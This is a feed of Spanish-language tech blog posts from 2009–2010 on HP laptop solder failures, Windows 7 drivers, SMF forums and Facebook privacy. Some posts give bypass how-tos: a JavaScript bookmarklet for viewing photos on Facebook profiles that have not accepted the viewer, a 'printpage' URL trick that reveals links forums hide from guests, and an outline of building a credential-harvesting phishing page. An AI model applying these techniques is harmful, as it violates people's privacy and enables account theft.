/></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com4tag:blogger.com,1999:blog-3031385326498684086.post-6956473198987327072010-04-26T18:38:00.010-03:002010-06-06T14:00:04.479-03:00<div align="justify"></div><div align="justify"></div><div align="justify"><a href="http://img210.imageshack.us/img210/5254/facebooksecurityj.gif"><img style="margin: 0px 10px 10px 0px; float: left; width: 200px; height: 205px;" alt="" src="http://img210.imageshack.us/img210/5254/facebooksecurityj.gif" border="0" /></a></div><p align="justify">no paso ni 1 año desde q c conocio el famoso bug del fql.query (<a href="http://locvtvs.blogspot.com/2009/06/facebook-hi5-y-las-redes-sociales-virus.html">hacer click aca</a>) q tardaron meses en "solucionar" (?) y ya hay formas todavia mas sencillas d poder ver las fotos d los perfiles sin agregar ni aceptar o lo q sea q hagan para verlas en esas estupidas redes.</p><p align="justify">en este poco tiempo c multiplico la cantidad d phishing, spam y todo tipo d basura informatica. hace unos dias lei q estaban a full con 1 q avisaba q las claves habian sido modificadas y pedia hacer click en 1 adjunto (xD) para renovacion. obviamente el adjunto super infectado con todo lo q c puedan imaginar.</p><p align="justify">solo queda hacer algunos calculos, teniendo en cuenta q la red tiene unos 400 millones d usuarios, no hace falta q mucho porcentaje haga click... digamos q con 1% ya tenemos info d 4 millones. esos 4 millones seguramente no son muy lucidos ya q cayeron, asi q seguramente tendran tambien todo tipo d info sensible guardada en el sistema. si solo un 1% tenia datos bancarios tendriamos... 40000? je... mas q suficiente.</p><p align="justify">para los delincuentes informaticos (y no hackers q son 2 cosas bien distintas) es 1 olla d oro sin nadie q la cuide, pero... q c les puede decir a los pobres incautos q siguen en estas redes? ya es como q "lo necesitan"... hasta en el celu ultimamente xD</p><p align="justify"><br /><strong><span style="color: rgb(255, 255, 51);">el metodo</span></strong></p><p align="justify"><a href="http://img269.imageshack.us/img269/1808/facebookqr.jpg"><img style="margin: 0px 0px 10px 10px; float: right; width: 236px; height: 251px;" alt="" src="http://img269.imageshack.us/img269/1808/facebookqr.jpg" border="0" /></a>el metodo... xq eso es lo q quiere la mayoria para ver las fotos d algun user q no los acepta o alguna d esas cosas q sacan el sueño a mas d 1. tal vez alguno reflexione y c d cuenta q hay vida fuera d facebook y q pueden conocer gente en la vida real como c hizo durante miles d años xD<br /></p><p><a href="http://img269.imageshack.us/img269/1808/facebookqr.jpg"></a><a href="http://img269.imageshack.us/img269/1808/facebookqr.jpg"></a><strong>1.</strong> loguearse en facebook </p><p><strong>2.</strong> ir al perfil d la persona q quieran ver las fotos</p><p><strong>3.</strong> copiar el siguiente codigo en la barra d direcciones:<br /><br /></p><pre style="margin-top: 0pt; display: inline; font-weight: bold;"><span style="font-size:85%;">javascript:(function(){CSS.removeClass(document.body,%20'profile_two_columns');<br />tab_controller.changePage("photos");})()</span></pre><p><br /><br /></p><p><strong>4.</strong> presionar enter ;)</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-695647319898732707?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com6tag:blogger.com,1999:blog-3031385326498684086.post-66348214237122004312010-03-01T22:15:00.009-03:002010-06-06T13:59:44.638-03:00<div style="text-align: justify;"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img34.imageshack.us/img34/482/f756.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 303px; height: 266px;" src="http://img34.imageshack.us/img34/482/f756.jpg" alt="" border="0" /></a>hace unas semanas tuve que reinstalar una compaq f756 que viene con el aborrecible windows vista y x supuesto se me ocurrio pasarla a 7, q si bien sigue sufriendo la mayoria d las maldiciones d windows tiene una performance muchisimo mejor q el anterior.<br /></div><br /><div style="text-align: justify;">la 1era vez que instale 7 fue alguna beta en una maquina virtual d vmware asignandole solo 1 nucleo y 512mb d memoria, para mi sorpresa corria muy bien con tan pocos recursos, por lo que podriamos decir q el sistema es capaz d funcionar en cualquier hardware q soporte vista (y mucho menos tambien) sin el mas minimo problema.<br /></div><br /><div style="text-align: justify;">en este caso hablamos d 1 laptop con 2gb d ram, micro turionX2 a 1.9ghz y video Nvidia Gforce 7000m. viene d fabrica con vista, el cual le da segun su sistema de benchmarking (o como c llame lo q hace para testear el hard) 2.1 puntos. la maquina es lo suficientemente nueva como para cualquier sistema, pero... pero... yendo a buscar los drivers a la pag d HP:<br /></div><br />http://h10025.www1.hp.com/ewfrf/wc/softwareCategory?product=3653215&amp;lc=en&amp;cc=us&amp;dlc=en&amp;lang=en&amp;cc=us<br /><br />era obvio no? no hay soporte... je<br /><br /><br /><span style="font-weight: bold;font-size:100%;"><span style="color: rgb(255, 255, 0);">el negocio del hard, los drivers, etc</span></span><br /><br /><div style="text-align: justify;">sin embargo a la izquierda d la pagina encontramos 1 link q dice "Information about Windows 7 software and drivers", lo cual nos puede llegar a dar esperanzas... x supuesto hasta ver el link solamente.<br /><br />Ahi podemos leer q "HP esta actualmente testeando y calificando soft y drivers para win 7 para los modelos listados en la siguiente tabla" (obviamente no esta la f756), y sigue con q "este proceso no sera completado antes d la liberacion d win 7 antes del 22.10.09". ni c habla entonces d liberar oficialmente drivers para este modelo.<br /><br />mmmm... xq? no lo soporta? tiene algun problema? tan dificil es?? nah... mejor q la tiren y compren otra maquina "windows 7 ready" seguramente piensan los genios d marketing d HP.<br /><br />el negocio cuando salio vista era q para correrlo habia q tener 1 pc monstruo. como el user final quiere tener lo ultimo (aunque no sabe ni para q) fue record la venta d laptops, desktops, clones y lo q sea q pudiera correr 1 vista. ahora como la vieja maquina sobra para correr 7 la complican x el lado d los drivers...<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img690.imageshack.us/img690/5011/restore.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 340px; height: 232px;" src="http://img690.imageshack.us/img690/5011/restore.jpg" alt="" border="0" /></a>sin embargo, como los drivers c pueden conseguir aunque HP no los entregue siempre hay quien saca provecho del problema d los demas y lo convierte en $$, como x ej estos sres q venden los drivers d win7 para el modelo d compaq en cuestion:<br /></div><br /><br />http://restore-disk.com/restoredisks/HP/HPCompaq/HP-Compaq-Presario-F756NR-Windows-7-Restore-Disk-315147.html<br /><br /><div style="text-align: justify;">y a 11.44€!! me imagino q para los europeos seran monedas pero aca en argentina no es tan barato y en otros paises latinoamericanos debe ser una fortuna casi.<br /><br />entonces... como puede ser q un 3ero venda los drivers para 1 equipo q el propio fabricante dice q no soporta el sistema??<br /><br />en fin... esto no es propio d HP sino d la mayoria d las marcas, hace un rato estaba leyendo en 1 foro d asus quejas d los usuarios al respecto. lo q pasa es q otra vez c me cruzo hp/compaq en el medio d mis problemas... je<br /></div><br /><br /><span style="font-size:100%;"><span style="font-weight: bold; color: rgb(255, 255, 0);">la solucion</span></span><br /><br /><div style="text-align: justify;">antes d hacer el pasaje estuve googleando un poco y vi mucha gente con problemas para hacer el pasaje a 7 en la f756, drivers d la cam, video, problemas d reinicios, etc. la solucion q use yo es bien facil y c puede aplicar a cualquier equipo:<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img268.imageshack.us/img268/6229/drivermax4.png"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 251px; height: 193px;" src="http://img268.imageshack.us/img268/6229/drivermax4.png" alt="" border="0" /></a>1. backupear los drivers d vista con cualquier soft para dicho proposito. x ej drivermax:<br /></div><br />http://www.innovative-sol.com/drivermax/<br /><br />2. instalar 7<br /><br /><div style="text-align: justify;">3. buscar en el admin d dispositivos los drivers q faltan (en mi caso eran solo 2 o 3) y mandar al sistema a buscarlos en la carpeta q guardamos con los drivers d vista.<br /></div><br />4. driver d video en la pag d nvidia, ati, o la q corresponda.<br /><br />5. disfrutar d tu win7.<br /><br /><div style="text-align: justify;">con este metodo la maquina levanto todos los dispositivos sin problemas y x supuesto quedo hecha 1 avion a comparacion d como iba con el vista. ahhh y el sistema d puntuacion le da 3.0 a la misma maquina xD<br /><br />entonces... xq no liberan los drivers en lugar d dejar q los venda cualquiera x ahi? si todos sabemos q funciona. bah... no c xq no me cayo la boca y mejor me hago yo tambien 1 web d venta d drivers para win7 xDD<br /></div><br /><span style="font-size:100%;"><span style="font-weight: bold; color: rgb(255, 255, 0);">conclusion</span></span><br /><br /><div style="text-align: justify;">los drivers d vista en su mayoria funcionan con windows 7. simplemente hagan backup o descarguen el d vista d la web del fabricante.<br /><br />para finalizar dejo los links a las paginas d descarga d drivers para 7 d las principales marcas:<br /></div><span style="font-size:100%;"><br /></span><h3 style="color: rgb(102, 102, 204); font-family: courier new; font-weight: bold;font-family:arial;"><span style="font-size:100%;">Windows 7 Laptop / Notebook Drivers</span></h3> <ul style="font-family: courier new;font-family:arial;"><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/AuOgWgJRDr0/http://support.dell.com/support/downloads/index.aspx?c=us&amp;l=en&amp;s=gen&amp;%7Eck=mn">Dell Windows 7 Drivers and Downloads</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/80vrI5E1QUO/http://www.acer.com/worldwide/support/download.htm">Acer Windows 7 Drivers, Service and Support</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/6ARe8XiWRcE/http://esupport.sony.com/US/perl/select-system.pl?PRODTYPE=24&amp;NAVDISP=pc">Sony eSupport Windows 7 Drivers and Software</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/GH0OtUp9ojh/http://www.csd.toshiba.com/cgi-bin/tais/support/jsp/home.jsp?nav=Download">Toshiba Windows 7 Drivers and Utilities Updates</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/Sj08qJMgWF-/http://www.lenovo.com/support/us">Lenovo IBM Windows 7 Drivers and Utilities</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/-Zw5crHLi-Q/http://www.hp.com/#Support">HP Windows 7 Support and Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/9hI4JiVFTi0/http://www.samsung.com/us/support/download/supportDownloadMain.do">Samsung Win 7 Notebook Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/D9gQgaDJqh1/http://support.gateway.com/support/drivers/dlcenter.asp">Gateways Windows 7 Drivers and Downloads</a></span></li></ul> <h3 style="font-weight: bold; color: rgb(102, 102, 204); font-family: courier new;font-family:arial;"><span style="font-size:100%;">Windows 7 Graphic &amp; Sound Cards Drivers</span></h3> <ul style="font-family: courier new;font-family:arial;"><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/T2RtXf5r8A3/http://www.nvidia.com/Download/index.aspx?lang=en-us">Nvidia Windows 7 Drivers Download</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/0Dy8wXv_Hp5/http://support.amd.com/us/gpudownload/Pages/index.aspx">ATi Graphics Windows 7 Drivers &amp; Software</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/Gvm1fVW3-HQ/http://support.creative.com/kb/showarticle.aspx?sid=61105">Creative Windows 7 Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/kEGD89j_xS1/http://www.realtek.com.tw/downloads/downloadsCheck.aspx?Langid=1&amp;PNid=24&amp;PFid=24&amp;Level=4&amp;Conn=3&amp;DownTypeID=3&amp;GetDown=false">Realtek High Definition Audio Driver for Windows 7</a></span></li></ul> <h3 style="font-weight: bold; color: rgb(102, 102, 204); font-family: courier new;font-family:arial;"><span style="font-size:100%;">Windows 7 Printer &amp; Scanner Drivers</span></h3> <ul style="font-family: courier new;font-family:arial;"><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/X3zWWEP2ngO/http://www.canon.com/">Canon Windows 7 Support and Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/9hI4JiVFTi0/http://www.samsung.com/us/support/download/supportDownloadMain.do">Samsung Win7 Printer Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/-Zw5crHLi-Q/http://www.hp.com/#Support">HP Windows 7 Support and Drivers</a></span></li><li><span style="font-size:100%;"><a href="http://www.zimbio.com/go/LdCoxTxUmi4/http://www.epson.com/cgi-bin/Store/support/SupportIndex.jsp">Epson Windows 7 Support</a></span></li></ul><span style="font-size:100%;"><br /></span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-6634821423712200431?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-45436478720849705542009-12-16T20:29:00.010-03:002010-06-06T13:59:21.515-03:00<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img693.imageshack.us/img693/737/logohp.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 315px; height: 236px;" src="http://img693.imageshack.us/img693/737/logohp.jpg" alt="" border="0" /></a>esta vez parece q le toco a hp. la verdad q es 1 lastima xq siempre me parecio d las mejores marcas y personalmente nunca tuve ningun problema, la razon principal debe ser q no tengo 1 portatil hp/compaq... jeje<br /></div><div style="text-align: justify;"><br />cada vez c hace mas dificil d ocultar el problema q hay con modelos d los ultimos 2/3 años d hp q se arruinan en tiempo record, las laptops c juntan x pilas en los negocios d reparacion y a pesar d q muchas paginas, blogs, foros, etc q publican este problema desaparecen "milagrosamente" la verdad ya esta a la vista. fallas d diseño, el problema del plomo y 1 empresa q no c hace cargo d sus errores.<br /><br />ademas, como siempre mucho tecnico llenandose d plata pasando reparaciones x "cambio d mother" o cosas parecidas ;)<br /><br />en realidad este problema seguramente c extiende a muchos otros artefactos (algo parecido pasa en la xbox360) como fue en su momento el problema d los capacitores, pero en las hp c dieron unos cuantos factores q ayudaron a q sea mas notable.<br /><br />cual es entonces el problema principal?... x problema principal me refiero a lo q hace q la maquina deje d funcionar en principio ya q problemas hay muchos. la temperatura q levantan estas laptops es 1 problema aunque sigan funcionando, a menos q la quieran usar para hacer huevos fritos. bueno, el problema entonces...<br /></div><br /><br /><strong><span style="color: rgb(255, 255, 0);">soldaduras sin plomo</span></strong><br /><br /><div style="text-align: justify;">el plomo es malo para el ser humano, hasta ahi estamos d acuerdo. por normativas anticontaminacion muchos paises no permiten el uso d plomo en las soldaduras, d modo q c usa 1 aleacion especial d estaño sin plomo q para empezar no resiste las mismas temperaturas q el estaño normal. la diferencia es suficiente como para causar problemas en los contactos d 1 chip gpu (graphics processing unit... en castellano: el cpu d la placa d video).<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img693.imageshack.us/img693/9328/bgaball.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 197px; height: 153px;" src="http://img693.imageshack.us/img693/9328/bgaball.jpg" alt="" border="0" /></a>estos chips c sueldan con el sistema "bga". este proceso consiste en colocar unas bolitas d estaño en el chip q despues x medio d calor c sueldan a la placa. hay varios procesos para lograrlo pero basicamente es eso. obviamente tambien c puede hacer con estaño normal, lo cual no causaria este problema.<br /><br />el plomo es malo para el ser humano pero es bueno para los chips, estoy a favor d la ecologia y todo eso, pero me parece q tendrian q apuntar a otro lado, reciclar mejor las cosas o si eso es imposible x lo menos buscar 1 sustituto q sea igual d bueno o mejor... o no c... diseñar algo q no c rompa en 2 meses d uso cuando cuesta los usd q vale 1 laptop.<br /></div><br /><br /><strong><span style="color: rgb(255, 255, 0);">el problema</span></strong><br /><br /><div style="text-align: justify;">el sintoma tipico en las hp es q no muestran video aunque se puede ver q la maquina enciende y carga normalmente. al parecer, combinado con el tema del estaño hay 1 problema con ciertos modelos d nvidia q elevan demasiado la temperatura y no termina ahi sino q parece q ademas, x 1 falla d diseño en algunos modelos... el chip no hace contacto con el disipador... sin palabras... 1 verguenza.<br /><br />esto x supuesto hace q la triste soldadura sometida a tal calor empiece a fallar y deje d hacer contacto con la placa con el resultado anterior.<br /><br />los modelos afectados son muchisimos, entre ellos estan las series:<br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img46.imageshack.us/img46/2107/dv90003.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 246px; height: 158px;" src="http://img46.imageshack.us/img46/2107/dv90003.jpg" alt="" border="0" /></a>dv2000<br />dv5000<br />dv6000<br />dv9000<br />v2000<br />v3000<br />v6000<br />tx1000<br /><br />y vaya a saber cuantos mas, estos son los mas conocidos.<br /><br /><br /><strong><span style="color: rgb(255, 255, 0);">la respuesta d hp</span></strong><br /><br /><div style="text-align: justify;">debido a q tenian q hacerse cargo d alguna manera la respuesta fue el "HP Pavilion dv2000/dv6000/dv9000 and Compaq Presario v3000/v6000 Series Notebook PCs - HP Limited Warranty Service Enhancement":<br /><br />http://h10025.www1.hp.com/ewfrf/wc/document?docname=c01087277&amp;lc=en&amp;cc=us<br /><br />1 extension d la garantia y 1 upgrade para la bios. upgrade q lo q hace es acelerar los fans y c dice x ahi q bajar el voltaje, con lo cual estamos practicamente underclockeando y x supuesto jugando con la estabilidad del equipo.<br /><br />en el caso d poder enviar el equipo para reparacion la solucion d hp es cambiar el mobo, con lo cual el problema sigue, lo unico q c hace es volverlo a 0. con el tiempo el equipo va a volver a calentar y otra vez las soldaduras van a fallar. y suerte si lo hacen gratis, sino el cambio d 1 mobo cuesta entre 400 y 500usd.<br /><br />hay gente iniciando juicios y otras cosas, pero como todos sabemos no c le puede ganar a las grandes corporaciones xq tienen miles d abogados esperando para comernos las entrañas.<br /></div><br /><br /><strong><span style="color: rgb(255, 255, 0);">la solucion</span></strong><br /><br /><div style="text-align: justify;">mmmm... la solucion definitiva seria hacer 1 reballing del chip (con estaño con plomo... je) y x supuesto buscar la manera d q disipe mejor ya q tampoco es muy comodo trabajar con 1 equipo q levanta esas temperaturas.<br /><br /></div><p style="text-align: justify;">como para el reballing hacen falta maquinas especiales y bastantes $$ (o mucho ingenio y muñeca) hay montones d soluciones alternativas. la principal consiste en usar 1 pistola d calor sobre el chip elevando la temperatura hasta 300ºC en algunos casos, para fundir la soldadura y presionando cuidadosamente restablecer el contacto. hay unos cuantos videos x ahi d como hacer el proceso. en el del link q sigue c puede ver en 1 v3000:<br /></p><p>http://www.youtube.com/watch?v=i2z2FqZusjY</p><p style="text-align: justify;">el problema con este "sistema" es q la soldadura sigue siendo 1 porqueria y va a pasar lo mismo en 1 par d meses. es importante refrigerar d alguna manera para q no vuelva a generarse tanto calor.</p><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img229.imageshack.us/img229/2971/3984642619268919a6a0.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 281px; height: 210px;" src="http://img229.imageshack.us/img229/2971/3984642619268919a6a0.jpg" alt="" border="0" /></a>en s tema llegue a ver cosas como poner 1 moneda d cobre entre el chip y el "disipador" (pasta termica mediante) para q justamente haya 1, ya q todos sabemos q si no hay contacto no hay donde mandar el calor y c lo va a comer todo el chip. esto combinado con cosas como hacer agujeros en la parte inferior hasta convertirla en 1 colador, y hasta 1 q decia x ahi q le ponia 1 barra d hielo debajo xDD<br /></div><br /><br /><strong><span style="color: rgb(255, 255, 0);">conclusion</span></strong><br /><br /><div style="text-align: justify;">es lamentable xq como decia al principio la consideraba una d las mejores marcas, pero no compren laptops hp. por lo menos hasta q quede claro q esta solucionado este problema. la garantia a la q me referia antes llega hasta la dv9400 y ya es sabido q modelos posteriores tienen el mismo problema.<br /><br />parece q esta gente no tiene muchas ganas d solucionarlo y el usuario moderno esta mas acostumbrado a tirar las cosas a la basura y comprar 1 nueva, no es la gente d hace 10 o 20 años q conocia su maquina y la apreciaba, hoy todo es descartable... y la verdad q no me importaria comprar 1 cada 6 meses si costaran 100 o 200usd pero como todos sabemos no es asi.<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-4543647872084970554?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com8tag:blogger.com,1999:blog-3031385326498684086.post-58745357626184790072009-06-17T11:45:00.008-03:002010-06-06T13:58:52.812-03:00<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img20.imageshack.us/img20/5605/hackerd70focus1.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 252px;" src="http://img20.imageshack.us/img20/5605/hackerd70focus1.jpg" alt="" border="0" /></a>no tengo idea d smf asi q esto va a ser bien basico... je<br /><br />hace unas semanas me di cuenta d este fallo (o mala configuracion, xq no c bien lo q es) y no le hice mucho caso pensando q era conocido, pero hablando x ahi me di cuenta q parece q no mucha gente lo sabe y me decidi a publicarlo.<br /><br />todos nos encontramos alguna vez con el famoso:<br /></div><br /><span style="font-style: italic; color: rgb(255, 255, 102);">Necesitas ser usuario para ver los enlaces Crear Usuario o Hacer Sesion</span><br /><br />o tal vez:<br /><br /><span style="font-style: italic; color: rgb(255, 255, 102);">You are not allowed to view links. Register or Login</span><br /><br /><div style="text-align: justify;">q los admins suelen poner en sus foros para generar mas altas d usuario, obligandolos a tener 1 cuenta para ver el contenido, y asi parecer 1 comunidad gigante, cuando muchas d estas en realidad tienen unos pocos cientos d users activos y el resto son miles d "fantasmas" q solo entran a descargar warez o porno.<br /><br />es cierto q no es demasiada molestia hacerse 1 user, sobre todo si no pide confirmacion d correo, y si la pide tenemos alternativas como:<br /></div><br />http://www.10minutemail.com<br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img134.imageshack.us/img134/3916/registernowbutton.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 294px; height: 123px;" src="http://img134.imageshack.us/img134/3916/registernowbutton.jpg" alt="" border="0" /></a>q nos permiten usar 1 cuenta falsa q c autodestruye a los 10mins. pero... a veces estamos buscando algo y resulta molesto andar dandose d alta en 10 lugares distintos para q despues los links no sirvan, tener q ir a otro lado a hacer la misma historia y perderse todo el dia creando cuentas q despues no usamos jamas...<br /><br />como dije antes no tengo idea d smf asi q estuve preguntando x ahi y me explicaron q la funcion se realiza x medio d 1 mod, ya q no existe en el sistema (si en vbulletin), el mas popular al parecer es reglinks:<br /></div><br />http://custom.simplemachines.org/mods/index.php?mod=342<br /><br /><div style="text-align: justify;">no tengo idea si el problema es del mod, d todos los mods q hacen esto, o d mala configuracion x parte del admin, pero la falla c encuentra en la mayoria d los foros smf x lo q estuve viendo... vamos al grano... je<br /></div><br /><br /><span style="color: rgb(255, 255, 0);font-size:130%;"><span style="font-weight: bold;">Ver los links ocultos</span></span><br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img55.imageshack.us/img55/2923/simplemachines.png"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 75px;" src="http://img55.imageshack.us/img55/2923/simplemachines.png" alt="" border="0" /></a>c van a reir cuando vean lo facil q es... casi hasta me da verguenza hacer 1 entrada con esto... :P<br /><br />abran la pag del tema donde esta el link oculto y presionen el boton "imprimir" o "printpage"... miren bien... si si, el link ya no esta oculto XD<br /><br />algun admin mas inteligente q los demas seguramente habra hecho desaparecer el boton, pero no asi la funcion "printpage" x lo q solo tendriamos q injectarla en la url.<br /></div><br />x ej supongamos q tenemos:<br /><br />foro.xxxxxxx.com/index.php/topic,1234.0<br /><br />deberiamos agregarle el "action=printpage". quedaria asi:<br /><br />foro.xxxxxxx.com/index.php?action=printage;topic=1234.0<br /><br /><div style="text-align: justify;">y produce el mismo resultado q el boton. en unos pocos foros no funciona x lo q vi... y en vbulletin no funciona directamente.<br /><br />tambien es visible en el source d la pagina en algunos bajo el tag "visibility:hidden" pero en otros no. sin importar esto ultimo el printpage funciona en ambos.<br /><br />es todo lo q tengo x ahora... el "como" pero no el "xq". si alguien q lea esto tiene idea le agradeceria q aclare 1 poco el tema... y al q no le interesa "el xq", simplemente usenlo mientras funcione y evitense d andar creando tanto usuario fantasma ;)<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5874535762618479007?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com17tag:blogger.com,1999:blog-3031385326498684086.post-75857843818386734362009-06-02T14:14:00.004-03:002009-06-02T15:47:56.419-03:00<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img257.imageshack.us/img257/4378/privacy.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px; height: 350px;" src="http://img257.imageshack.us/img257/4378/privacy.jpg" alt="" border="0" /></a>Fuck!! Es q no le importa a la gente q todos esten viendo su intimidad? Conocen el concepto d “privacidad”? Leyeron (o vieron aunque sea) 1984? Saben adonde nos va a terminar llevando esto?? Mmm... no me lo quiero ni imaginar xq asusta. xD<br /><br />Hoy dia es muy facil encontrar datos d personas simplemente xq ellos los ponen a la vista d todos. Cualquiera con conocimientos minimos puede ponerse a buscar gente y averiguar cosas sobre ellos con la unica herramienta d 1 conexión a internet. Esto no seria tan malo si vivieramos en 1 mundo perfecto donde todos son buenos y nadie quiere sacar provecho del otro, robar, matar, y violar todas las p... leyes, mandamientos o lo q sea, pero el caso es q no vivimos en 1 mundo asi y no c entiende como es posible q no abran los ojos.<br /></div><br /><div style="text-align: justify;">La masividad d internet llevo a estas cosas, antes c cuidaba mucho mas la privacidad en la red, para empezar xq el usuario medio tenia 1 nivel mucho mas alto que hoy, ademas d q habia mas conciencia del problema y mas ganas d educar a la gente sobre como comportarse en su vida virtual. Siempre me acuerdo d 1 comercial d los 90´s en el q habia 2 perros chateando (irc x supuesto... je) y 1 le decia al otro “en internet nadie sabe q somos perros”. 1 imagen muy significativa x cierto, q tal vez hoy parezca mas obvia pero en realidad los hechos demuestran q no lo es tanto para muchos.<br /><br />En esa epoca no tan lejana, poco mas d 10 años, el user leia mas los msgs q le entregaba el sistema o el mismo browser, en lugar d presionar “aceptar” a cualquier virus q anda x ahí como pasa hoy, pero el tema tambien esta en q a muchos les interesa justamente q la gente sea como es, para q? para tenerla bajo control x supuesto... je<br /></div><br /><br /><br /><span style="color: rgb(255, 255, 102);font-size:130%;" >Gusanos, phishing, malware y otros bichos...</span><br /><br /><div style="text-align: justify;">Empecemos con el tema d los virus... hay 1 flia d gusanos (boface) hecho específicamente para la red facebook. No es gran cosa ni obra d 1 genio del codigo, pero debido a la masividad d la red y a los pocos conocimientos en gral d sus users c calculan los infectados en millones.<br /><br />Según datos d panda activescan, 1 herramienta gratuita d scanneo online, c calcula q en los ultimos meses un 1% d las pcs q paso x ahí esta infectado con alguna d las variantes de boface. Se dice q hay 200 millones d users en facebook... solo hay q hacer cuentas para ver lo gordo y grande q esta el gusano ;)<br /><br />La ultima versión llamada boface.bj c descarga en la pc x los medios habituales y entra en accion cuando el user d la pc infectada c loguea en su cuenta. Manda links a su “red d amigos” con 1 supuesto video d youtube (en realidad la url dice yuotube... jeje) q al querer ejecutar pide la descarga d 1 reproductor q en realidad es 1 d esos falsos antivirus q lanzan ventanas todo el tiempo pidiendo q lo compren... y lo peor es q muchos lo terminan comprando...<br /><br />Esto x supuesto no es cosa d “hackers”. Hasta me acuerdo d haber visto 1 herramienta x ahí q automatizaba la creación d la pag falsa... “fake youtube” o algo asi c llamaba. La verdad q no me acuerdo xq lo vi d pasada y hace bastante tiempo. Cualquier niño puede armar 1 phisher similar con esto.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img145.imageshack.us/img145/9392/cybercrime.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 234px; height: 210px;" src="http://img145.imageshack.us/img145/9392/cybercrime.jpg" alt="" border="0" /></a>Otro peligro es justamente el phishing, no voy a ponerme a explicar la tecnica, pero ademas d tambien haber herramientas para crear los fakes, son muy faciles d hacer a mano, solo descargar la pagina original, apuntar el action a 1 simple php d no mas d 10 lineas, guardar user/pass y redireccionar a la pag verdadera. Con esto c obtienen mas passes y con ellos mas victimas para la infeccion o lo q sea.<br /><br />X supuesto q ya no es el hecho d la infeccion xq si, sino con fines economicos y a veces no tan “inofensivos” como vendernos 1 falso anti-algo. Es bien sabido (y sino enterense) q los criminales del mundo real (vulgares ladrones o secuestradores) usan estas redes para obtener info d sus victimas como costumbres, modo d vida, nivel socioeconomico, relaciones, etc... la vieja y siempre valida “ingenieria social” a la orden del dia...<br /></div><br /><div style="text-align: justify;">Muchos diran mi perfil es privado, blah blah blah, etc. Y eso seria aunque sea una ayuda si en verdad estas redes fueran seguras, pero x ej hay 1 bug en facebook hace ya meses q nadie parece parchar (vaya a saber xq) con el cual c pueden ver los albumes privados d quien queramos.<br /></div><br /><br /><br /><span style="color: rgb(255, 255, 102);font-size:130%;" >Ver fotos sin permiso en facebook</span><br /><br /><div style="text-align: justify;">Este bug, q en realidad no es 1 bug sino 1 falta d atención x parte d la gente d facebook, es muy facil d explotar, cualquiera q pueda hacer copy/paste esta capacitado... je. Lo voy a explicar xq en realidad es algo bastante lamer, pero me parece 1 verguenza q nadie c preocupe x arreglarlo en tanto tiempo, sobre todo teniendo en cuenta la amenaza a la seguridad y privacidad d los users d la red en cuestion. Tal vez cuando hasta el ultimo d los 